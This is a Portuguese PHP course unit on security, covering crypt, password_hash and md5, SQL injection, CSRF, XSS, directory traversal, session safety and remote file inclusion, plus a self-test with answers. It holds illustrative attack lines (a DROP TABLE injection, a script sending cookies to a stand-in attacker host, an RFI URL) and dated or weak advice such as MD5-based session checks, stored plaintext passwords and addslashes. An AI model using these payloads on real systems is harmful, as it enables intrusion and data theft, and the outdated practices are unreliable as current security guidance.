MÓDULO

PROGRAMAÇÃO PHP

UNIDADE

SEGURANÇA EM PHP

Instituto Tecnológico

ÍNDICE

OBJETIVOS

Com esta unidade didática, pretende-se que desenvolva os seguintes objetivos de aprendizagem:

- Utilizar as funções de encriptação corretamente.
- Reconhecer as principais falhas de segurança na web.
- Utilizar as funcionalidades do PHP para prevenir ataques ao computador.

INTRODUÇÃO

Uma das principais vantagens que o PHP tem sobre outras linguagens de programação é a disponibilidade de ferramentas para criar alguma segurança na página web. Nesta unidade didática, aprenderá as principais funcionalidades que pode utilizar para casos específicos de vulnerabilidades.

1. ENCRIPTAÇÃO

A encriptação é a codificação de informações, ou seja, a transformação das informações em strings ilegíveis, através de um sistema de encriptação que contém uma chave de descodificação.

Desde a História Antiga, informações importantes são encriptadas para que apenas aqueles que conhecem a chave possam aceder ao conteúdo. Como o histórico caso de Júlio César, que enviava às suas tropas ordens codificadas com um sistema que recebia o seu nome. Baseava-se numa codificação simples: usava um número como chave, que era adicionado a cada letra do alfabeto dentro da mensagem, ou seja, se o número fosse "4", a letra "A" seria alterada para a letra "E", e assim em diante com cada letra da mensagem. Este sistema fez com que, naquele tempo, ninguém fosse capaz de ler as ordens emitidas. Hoje em dia, com a potência dos computadores, esse tipo de códigos pode ser descodificado em poucos minutos.

Atualmente, são utilizadas fórmulas matemáticas sofisticadas, que também possuem chaves longas e intercalam números e caracteres para aumentar a complexidade. A encriptação é mais segura quando consideramos estas novas chaves de 128, 256 ou mais bits, porque isso significa que há uma enorme quantidade de combinações possíveis para a senha.

Alguns dos métodos de encriptação mais populares são SHA, DES, MD5 e HASH. No PHP, existem funções integradas para criar criptografia de dados. Seguem-se alguns exemplos das mesmas.

1.1. CRYPT

Esta função permite encriptar uma string usando o algoritmo DES padrão ou um dos algoritmos alternativos da tabela seguinte (desde que estejam ativos no sistema). Verificam-se as seguintes constantes para confirmar se os referidos algoritmos podem ser utilizados (um valor igual a 1 significa que o tipo de algoritmo pode ser utilizado):

Constante	Tipo de encriptação
CRYPT_STD_DES	Esta é a codificação padrão e é usada passando uma chave de 2 caracteres alfanuméricos de A a Z e de 0 a 9.
CRYPT_EXT_DES	Essa codificação usa uma chave de 9 caracteres; a primeira é necessariamente o underscore (_) e, a seguir, 8 caracteres alfanuméricos.
CRYPT_MD5	O MD5 consiste numa chave de 12 caracteres; os primeiros 3 são necessariamente cifrão, 1, cifrão (1), seguidos de quaisquer outros 9 caracteres.
CRYPT_BLOWFISH	Esta codificação usa $2ª$ como os primeiros 4 caracteres, seguidos de 2 dígitos e de outros 22 caracteres.
CRYPT_SHA256	Este método possui 16 caracteres que começam com 5 e o número de vezes que o algoritmo matemático será aplicado, indicado com a variável de texto rounds, que pode ter um valor entre 1000 e 999999999 (o padrão é 5000).
CRYPT_SHA512	Mesmo método que o anterior, mas iniciado por 6 em vez de 5.

A sintaxe para usar a função é:

```
$var = crypt(string, chave);
```

Segue-se um exemplo que abrange o teste de todos os métodos.

Exemplo

```
<html>

<head>

</head>

<body>

Teste de encriptação:<br />

<?php

if (CRYPT_STD_DES == 1) {

echo 'Standard DES: ' . crypt('senha do utilizador',

 'dc') . "<br/>";

}

if (CRYPT_EXT_DES == 1) {

echo 'Extendido DES: ' . crypt('senha do utilizador', '_G4.uter3')
. "<br/>";

}

if (CRYPT_MD5 == 1) {

echo 'MD5: ' . crypt('senha do utilizador', '$1$ujdert54$') .
"<br/>";

}

if (CRYPT_BLOWFISH == 1) {

echo 'Blowfish: ' . crypt('senha do utilizador',
'$2a$07$ujfdentredsedwe34ed2sw$') . "<br/>";

}

if (CRYPT_SHA256 == 1) {

echo 'SHA-256: ' . crypt('senha do
utilizador','$5$rounds=5000$de4rhfr43ehd5dje$') . "<br/>";

}

if (CRYPT_SHA512 == 1) {

echo 'SHA-512: ' . crypt('senha do utilizador',
'$6$rounds=5000$de4rhfr43ehd5dje$') . "<br/>";

}

?>
```

```
</body>
</html>
```

Por padrão, na instalação simples do PHP no Apache, apenas dois sistemas de encriptação funcionam, logo, a saída de dados será semelhante a:

```
Teste de encriptação:
Standard DES: dcmMlLIzt2eM6
Extendido DES: _G4.uter38Oq2yYm3Voc
MD5: $1$ujdert54$IDnkKBCSJKlyr3UeL1w7x.
Blowfish: $2a$07$ujfdentredsedwe34ed2su2VnwuIgXZUficR/dWBF5Qj73gwdhLH2
SHA-256: $5$rounds=5000$de4rhfr43ehd5dje$Qv5VRTNNqWn7gQSuEF7rvEsF92x0zOyjgbGLtIJotb9
SHA-512: $6$rounds=5000$de4rhfr43ehd5dje$9b3o15hRc2B3SWy/gi2/sbDwJARgcSWD1BBYZ1hn4QOW2LhPr8aMcO6jLlKCor03nq21LXwgpjArrZ6LAhzXM1
```

Não há uma função para descodificar os dados, portanto, será sempre utilizada a função **encriptar**, logo, se pretender guardar a senha de acesso dos utilizadores da página web, a senha será guardada na base de dados encriptada e será solicitada com SQL com o valor encriptado.

Exemplo

Este exemplo mostra um formulário com um campo que é enviado para a mesma página e verifica se a senha inserida no campo é a mesma que a definida no código (se estiver correta, exibe a mensagem “Senha correta” no ecrã).

```
<html>
<head>
</head>
<body>
Teste de encriptação: (senha = masterd)<br>
<?php
$password = crypt('masterd','oo');
if (crypt($_POST['senha'], 'oo') == $password) {
echo "<b>Senha correta</b>";
}
?>
<form action="?" method="post">
```

```
<input type="text" name="senha" />
<input type="submit" />
</form>
</body>
</html>
```

1.2. PASSWORD_HASH

Cria um hash de senha forte e unilateral que, uma vez encriptada, não é possível ser decifrada. Foi implementado a partir do PHP 5.5.0 e é compatível com CRYPT, o que significa que os hashes de senha que foram criados com **crypt** também podem ser utilizados com o **password_hash**.

Os seguintes algoritmos de encriptação podem ser utilizados:

Constante	Tipo de encriptação
PASSWORD_DEFAULT	O algoritmo bcrypt é usado para criar o hash.
PASSWORD_BCRYPT	Usa o algoritmo CRYPT_BLOWFISH, e produz um hash compatível com a encriptação ao utilizar o identificador $2y$.

O método password_hash requer dois parâmetros: primeiro, a senha a ser encriptada, segundo, o tipo de encriptação.

Pode ainda ser utilizado um terceiro parâmetro com duas opções:

- **salt**: fornece manualmente um salt para criar o hash da senha. Esta opção é antiquada no PHP7.
- **cost**: determina o custo do algoritmo a ser utilizado. Quanto maior o valor, mais custará ao servidor criar o hash. Por defeito (se não for especificado), tem um custo de 10.

```
<html>
<head>
</head>
<body>
<?php
$opcoes = [‘cost’ => 12];
$password = password_hash('senha', PASSWORD_BCRYPT,$opcoes);
?>
</body>
</html>
```

1.3. MD5

Esta função está integrada ao sistema PHP e funciona em todas as suas versões desde a 4.0. Permite enviar uma string para a função, devolve uma chave criada de 32 caracteres e pode, opcionalmente, passar um segundo parâmetro com um valor de true ou false (no caso de true, a string devolvida terá 16 caracteres).

A sintaxe é a seguinte:

```
md5(string);
```

É mais fácil de utilizar do que a anterior, pois não é necessário indicar o conjunto de caracteres que será usado para encriptar. Dada a sua simplicidade e poder, este sistema é frequentemente utilizado para proteger as sessões: quando alguém entra no sistema, é criada uma chave MD5 encriptada do id da sessão, que será guardada numa variável de sessão para ser comparada em cada ecrã e verificar se o utilizador está registado no sistema.

Exemplo

Neste exemplo, será utilizada a função MD5 para controlar o acesso a um website com nome de utilizador e senha. Para isso, é inserido um formulário no ficheiro e, ao aceder corretamente com nome de utilizador e senha, é criada uma chave encriptada que será guardada na sessão.

Neste website será colocado um link para outra página, chamada "exemplo2.php", onde se verificará se a string encriptada corresponde; se não corresponder, será exibida uma mensagem de erro.

- **exemplo.php:**

```
<?php

session_start();

if ($_POST['utilizador']){

if ($_POST['utilizador'] == 'teste' && $_POST['senha'] ==
'masterd'){

$encriptada = md5(session_id());

$_SESSION['string'] = $encriptada;

$resultado = 'chave correta';

}else{

$resultado = 'chave incorreta';

}

}else{

$resultado = 'preencha o nome de utilizador e a senha';

}

?>

<html>

<head>

</head>

<body>

Teste de MD5 (utilizador = teste; senha = masterd):<br />

<?php
```

```
echo $resultado;
?>
<form action="?" method="post">
utilizador <input type="text" name="utilizador" /><br />
senha <input type="text" name="senha" />
<input type="submit" />
</form>
<br /><br />
<a href="exemplo2.php">Ir para o exemplo2.php</a>
</body>
</html>
```

- **exemplo2.php:**

```
<?php
session_start();
if ($_SESSION['string'] == md5(session_id())){
$resultado = 'sessão correta';
}else{
$resultado = 'Erro na sessão<a href="exemplo.php">
Voltar</a>';
}
?>
<html>
<head>
</head>
<body>
Teste de MD5:<br />
<?php
echo $resultado;
?>
</body>
</html>
```

O facto de utilizar o id de sessão para criar a senha encriptada confere uma maior segurança, pois desta forma garante-se que estas serão sempre diferentes, mesmo que se trate do mesmo utilizador e do mesmo computador.

2. PREVENÇÃO CONTRA ATAQUES

Ao criar páginas web, deve ter em consideração que uma série de ataques informáticos pode afetar o desempenho do computador ou a privacidade dos dados. Por esse motivo, segue-se informação sobre os ataques mais comuns e os aspetos que se deve ter sempre em consideração.

Injeção SQL

Este é o mais conhecido de todos os ataques e baseia-se na tentativa de executar código SQL através dos formulários ou URL para aceder a dados confidenciais, modificar os registos para benefício próprio ou simplesmente danificar as bases de dados.

Por exemplo, se tiver as seguintes instruções no código para inserir dados de livros na tabela da biblioteca:

```
$sql = "INSERT INTO livros (name) VALUES ('{$_POST['nome']}')";
```

E se enviar o seguinte texto dentro do formulário no campo de nome:

```
Stargate'); DROP TABLE livros;--
```

Obtém o seguinte resultado:

```
$sql = "INSERT INTO livros (name) VALUES ('Stargate’); DROP TABLE
livros;--')";
```

Isto irá apagar a tabela “livros” da base de dados.

Para evitá-lo, cumprem-se os seguintes passos:

- Primeiro, é necessário filtrar todos os dados possíveis do formulário; por exemplo, um campo onde é solicitado um nome ou apelido permitirá apenas caracteres e será filtrado antes de ser enviado para o SQL em busca de caracteres inválidos para esse campo. Pode ser utilizada a função **preg_match**, que compara uma string com uma expressão regular, e, assim, evitar inserir plicas (') ou um sinal de igual (=).

  Por exemplo, a linha seguinte verifica se o campo não contém mais do que caracteres alfabéticos:

```
preg_match('/^[a-zA-Z_]*$/i','pabSloesterc');
```

- O segundo passo é utilizar funções que escapam a caracteres especiais para os usar em SQL. Pode utilizar-se **mysqli_real_escape_string**, ou **addlashes**; ambas inserem uma barra antes de caracteres conflituantes na base de dados, como as plicas, aspas, '\ n', entre outros. No PHP existe a diretiva **magic_quotes_gpc**, que está ativa por defeito e já executa a função addslashes para todos os dados GET, POST e COOKIE. Terá de verificar se está ativa com **get_magic_quotes_gpc()**, para evitar a fuga dos dados novamente. Esta função devolve 1, se estiver ativa, e 0, se não estiver.

  Exemplo do uso da função:

```
sprintf("select INSERT INTO livros (name) VALUES ('%s')",
mysqli_real_escape_string($conn,$_POST['nome']));
```

Cross Site Request Forgery (CSRF)

Este ataque serve-se da confiança dos sites nas identidades dos utilizadores. Por exemplo, o envio de solicitações GET com parâmetros ou cookies.

Para evitá-lo, deve-se:

- Utilizar o método POST no envio de formulários.
- Utilizar o array de dados **$_POST** em vez de **register_globals** ou **$_REQUEST**.
- Criar uma testemunha para as solicitações do formulário e verificar a mesma; ou seja, utilizar o id de sessão, por exemplo, enviando-o nos formulários para evitar usurpação de identidade ou envios em massa, e criando um novo id de sessão após cada envio.

Execução de Script XSS

Esta vulnerabilidade permite que o invasor execute um código de script no site, enviando cookies para o servidor e exibindo dados para o exterior; e se não forem filtrados os dados recebidos, torna-se possível injetar conteúdo na web.

É possível, por exemplo, enviar cookies de sessão por meio de JavaScript introduzindo na base de dados:

```
<script>
document.location = 'http://atacante/roubar.php?dados=' +
document.cookie;
</script>
```

Para evitá-lo, pode fazer-se o seguinte:

- Filtrar todos os dados externos (como na injeção de SQL).
- Utilizar as próprias funções do PHP para filtrar conteúdo, como:
  - **Htmlentities (string)**: transforma os caracteres nas suas entidades HTML, por exemplo, "á" torna-se "& a acute;".

- **strip_tags(string)**: remove as tags PHP e HTML da string passada.
- **utf8_decode(string)**: converte uma string passada na codificação ISO-8859-1 para UTF-8.

- Utilizar listas brancas, ou seja, filtrar todos os dados mesmo se isso significar perder dados válidos. Por exemplo: se filtrar caracteres estranhos do nome e do apelido, nomes compostos por hífens não serão aceites e, nesse caso, exemplos como "Manuel-Alberto" serão introduzidos numa lista branca para permitir a sua entrada, embora não sejam verificados.

Cross Directory

O uso de diretórios aninhados é muito comum entre programadores e poderá encontrar chamadas de ficheiros com este formato:

```
../../../../ficheiro.php
```

Isto atribui a capacidade de fazer alterações no sistema de ficheiros e aceder a websites não permitidos. Por exemplo, no PHP pode utilizar o **require**, algo muito comum para carregar um ficheiro no index.php, com a seguinte instrução:

```
requiere $page . '.php';
```

Se o fizer, o invasor pode criar um script que tenta navegar pelos diferentes níveis de pastas com o seguinte caminho:

```
index.php?page=../chaves
```

Para evitá-lo, deve:

- Ter um array ou uma tabela com as páginas que deixa visitar e verificar se a página está no array ou tabela antes de a exibir.
- Verificar se o ficheiro solicitado não foi recebido através de parâmetros GET.

Segurança nas sessões

Os cookies de sessão são armazenados no computador local, o que significa que o utilizador pode manipulá-los e modificá-los à vontade.

Para evitar que aconteça, deve-se:

- Alterar frequentemente o id da sessão com a função **session_generate_id()**, que cria um novo id.
- A partir da versão 5.2 do PHP, negar o acesso dos cookies ao JavaScript do navegador ativando o sinalizador http://. Para isso, basta usar uma das seguintes frases:

```
<?php ini_set("session.cookie_httponly", 1); ?>
<?php header("Set-Cookie: hidden=value; httpOnly"); ?>
```

Remote File Inclusion (RFI)

Este ataque é baseado na tentativa de executar ficheiros PHP externos dentro das páginas web utilizando a vulnerabilidade **require**. Se carregar um ficheiro com require deste modo:

```
require $_GET[‘pagina’];
```

Uma pessoa que queira atacar o website pode tentar passar para a web um caminho externo em que nenhum controlo seja executado, para que seja possível criar ficheiros, eliminar ficheiros, executar SQL, etc., dependendo das permissões que o ficheiro de origem possui. Passando, por exemplo:

- http://paginaweb.com/index.php?pag=http://virus.com/virus.php.

Exemplo

O exemplo a seguir integra as soluções mais comuns para evitar phishing (roubo de dados PHP) e Injeções SQL.

Consiste em quatro ficheiros:

- **exemplo.php**, que contém um formulário de validação em relação a uma tabela MySQL:

```
<?php

session_start();

if ($_POST['utilizador']){

// UTILIZANDO MYSQL

$hostname = 'localhost';

$username = 'root';

$password = 'senha';

$dbname = 'biblioteca';

$conn = @mysqli_connect($hostname, $username, $password);

if($conn) {

// seleccionar a base de dados

if(mysqli_select_db($conn, $dbname) === TRUE) {

$result = mysqli_query($conn, sprintf("select utilizador, senha,
idUtilizador from utilizadores where utilizador = '%s' and senha
='%s'" ,mysqli_real_escape_string($conn,
$_POST['utilizador']),mysqli_real_escape_string($conn,$_POST['senha
'])));

if(mysqli_num_rows($result) !== 0) {

$row=mysqli_fetch_array($result);

$_SESSION['key_id'] = md5(session_id());

$_SESSION['idUtilizador'] = md5($row['idUtilizador']);

header('Location: exemplo2.php');

}else{

echo 'Dados de acesso errados';

}

} else {

echo 'Erro ao selecionar a base de dados';

}

mysqli_close($conn);

} else {
```

```
echo 'Falha na conexão';
}
}
?>
<html>
<body><p>
<form action="?" method="post">
utilizador <input type="text" name="utilizador" /><br />
senha <input type="password" name="senha" />
<input type="submit" />
</form>
</p></body>
</html>
```

- **exemplo2.php**, que recebe a chamada do anterior, se o utilizador e a senha forem inseridos corretamente; também permite desconectar a sessão e pesquisar um livro pelo id.

```
<?php
session_start();
if ($_SESSION['key_id'] != md5(session_id())){
header('Location: exemplo.php');
}
?>
<html>
<body><p>
<a href="desconectar.php">Desconectar sessão</a><br /><br /><br />
<?
function is_date( $str ){
$stamp = strtotime( $str );
// converter string para data
if (!is_numeric($stamp)){ // verificar se é numérico
return FALSE;
```

```
}
// dividir a data em dia, mês e ano
$month = date( 'm', $stamp );
$day = date( 'd', $stamp );
$year = date( 'Y', $stamp );
// verificar se a data é válida
if (checkdate($month, $day, $year)) {
return TRUE;
}
return FALSE;
}
if ($_POST['livro']){
$hostname = 'localhost';
$username = 'root';
$password = 'senha';
$dbname = 'biblioteca';
$conn = @mysqli_connect($hostname, $username, $password);
if($conn) {
if(mysqli_select_db($conn,$dbname) === TRUE) {
$result = mysqli_query($conn, sprintf("SELECT * FROM livros where
idLivro = '%s'",
mysqli_real_escape_string($conn, $_POST['livro'])));
/* $result = mysqli_query($conn,"SELECT * FROM livros where idLivro
= ".$_POST['livro'].";");*/
// Se descomentar a linha anterior mostrará todos os livros da
biblioteca, é enviado o código no campo: 1 ou 1 = 1
if($result) {
if(mysqli_num_rows($result) !== 0) {
while($row=mysqli_fetch_array($result)) {
if (is_date($row['dataAluguer'])){
echo '<span style="color:#ff0000">';
}else{
echo '</span>';
```

```
}
echo '<b>'.$row['titulo'].'</b> - '.$row ['descricao']
.'<br /></span>';
}
} else { echo 'Nenhum livro com esse nome foi encontrado<br /><br
/>';      }
}
} else { echo 'Erro ao selecionar a base de dados<br /><br />';}
mysqli_close($conn);
} else { echo 'Falha na conexão<br /><br />'; }
}
?>
Encontre o livro para alugar:
<form name="envio" method="post" action="?acc=procurar">
Id do Livro <input type="text" name="livro"/><br />
<input type="submit" value="procurar"/>
</form>
</p></body>
</html>
```

- **desconectar.php**, que é chamado a partir do ficheiro anterior para esvaziar a sessão e desconectar o utilizador.

```
<?php
session_start();
$_SESSION['key_id'] = '';
session_regenerate_id();
$_SESSION['idUtilizador'] = '';
header('Location: exemplo.php');
?>
```

- **basedados.txt**, uma cópia da base de dados em MySQL, necessária para executar o exemplo (tabelas e campos).

- Estrutura da tabela para "livros":

```
CREATE TABLE `livros` (
`idLivro` int(11) NOT NULL auto_increment,
`titulo` varchar(300) NOT NULL,
`descricao` varchar(2000) NOT NULL,
`dataAluguer` date NOT NULL,
PRIMARY KEY (`idLivro`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
```

- Descarregamento da base de dados para a tabela "livros":

```
INSERT INTO `livros` VALUES (1, 'As Viagens de Gulliver',
'Livro de aventura sobre as viagens de um escritor a um mundo
imaginário.', '2021-02-16');
INSERT INTO `livros` VALUES (2, 'O senhor dos Anéis',
'História da jornada de um Hobbit ao monte do destino para destruir
Sauron, o Lorde das Trevas', '0000-00-00');
```

- Estrutura da tabela para os "utilizadores" da tabela:

```
CREATE TABLE `utilizadores` (
`idUtilizador` int(11) NOT NULL auto_increment,
`utilizador` varchar(12) NOT NULL,
`senha` varchar(12) NOT NULL,
PRIMARY KEY (`idUtilizador`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
```

- Anulação da base de dados da tabela “utilizadores”.

```
INSERT INTO `utilizadores` VALUES (1, 'teste', 'teste');
```

Se testar o exemplo, verá que funciona corretamente. No ficheiro **exemplo2.php** há um código comentado que pode descomentar para tentar realizar uma injeção SQL no servidor

CONCLUSÃO

Os sistemas de segurança que o PHP fornece aos programadores permitem que sejam criadas páginas web mais seguras, capazes de impedir ataques de computador. É conveniente aplicar na prática tudo o que foi estudado nesta unidade, principalmente quando trabalha com bases de dados, pois estas costumam conter dados privados e importantes.

AUTOAVALIAÇÃO

1. **O que é que se pretende dizer quando se fala sobre encriptação?**

   a) Codificação de dados.

   b) Conversão de tipos de dados.

   c) Redução do tamanho dos dados.

   d) Uma nova linguagem.

2. **Qual é a função utilizada para encriptar strings com diferentes algoritmos, passados como parâmetro seguido pela string a ser encriptada?**

   a) md5.

   b) crypt.

   c) cript.

   d) encrypt.

3. **Para encriptar com o algoritmo blowfish, é passada uma chave de encriptação que começa com:**

   a) $2.

   b) a.

   c) 5.

   d) $2a$.

4. O que é que é utilizado para verificar quais os algoritmos que estão disponíveis no servidor?

a) Não pode ser feito.

b) A função get_crypt_alg.

c) Constantes de algoritmo como CRYPT_STD_DES.

d) Um método do objeto encrypt().

5. O que é que a função md5 permite fazer?

a) Descodificar uma string encriptada.

b) Encriptar e decifrar strings com o algoritmo md5.

c) Encriptar strings com o algoritmo md5.

d) Encriptar e/ou descodificar strings com o algoritmo md5.

6. O que é a injeção de SQL?

a) Uma tentativa de manipular os dados numa base de dados por um utilizador externo sem permissões.

b) Um sistema de criação multifuncional PHP e MySQL.

c) Um sistema antivírus MySQL.

d) A manipulação do código por um utilizador externo.

7. Qual é a opção que não é utilizada para evitar ataques de injeção de SQL?

a) A função addlashes.

b) A função preg_match.

c) A função mysqli_real_escape_string.

d) A função mysqli_avoidSQL.

8. O que é que um ataque Cross Site Request Forgery (CSRF) faz?

a) Utiliza a confiança do site nos utilizadores.

b) Gere scripts em URL.

c) Cria instruções SQL para manipular tabelas por meio de formulários.

d) Rouba dados importantes e pessoais do computador do utilizador.

9. Qual das seguintes opções ajuda a prevenir ataques CSRF?

a) Desativar os cookies.

b) Desativar o JavaScript.

c) Utilizar o método POST nos formulários.

d) Utilizar o método GET nos formulários.

10. Em que é que se baseia a vulnerabilidade XSS (script)?

a) Na execução de código SQL em MySQL.

b) Na execução de script no site.

c) Na realização de alterações na estrutura do ficheiro.

d) No roubo de dados importantes e pessoais do utilizador.

SOLUÇÕES

1.	a	**2.**	b	**3.**	d	**4.**	c	**5.**	c
6.	a	**7.**	d	**8.**	a	**9.**	c	**10.**	b

PROPOSTAS DE DESENVOLVIMENTO DO ESTUDO

Para saber mais sobre o SQL Injection, visite o seguinte site:

- https://pt.wikipedia.org/wiki/Inje%C3%A7%C3%A3o_de_SQL

BIBLIOGRAFIA

- Cabezas, L. M. (2010), *Php 5.* Madrid: Anaya Multimedia.
- The PHP Group (2001), "Segurança". Disponível em: https://www.php.net/manual/pt_BR/security.php Consultado a 1 de abril de 2021.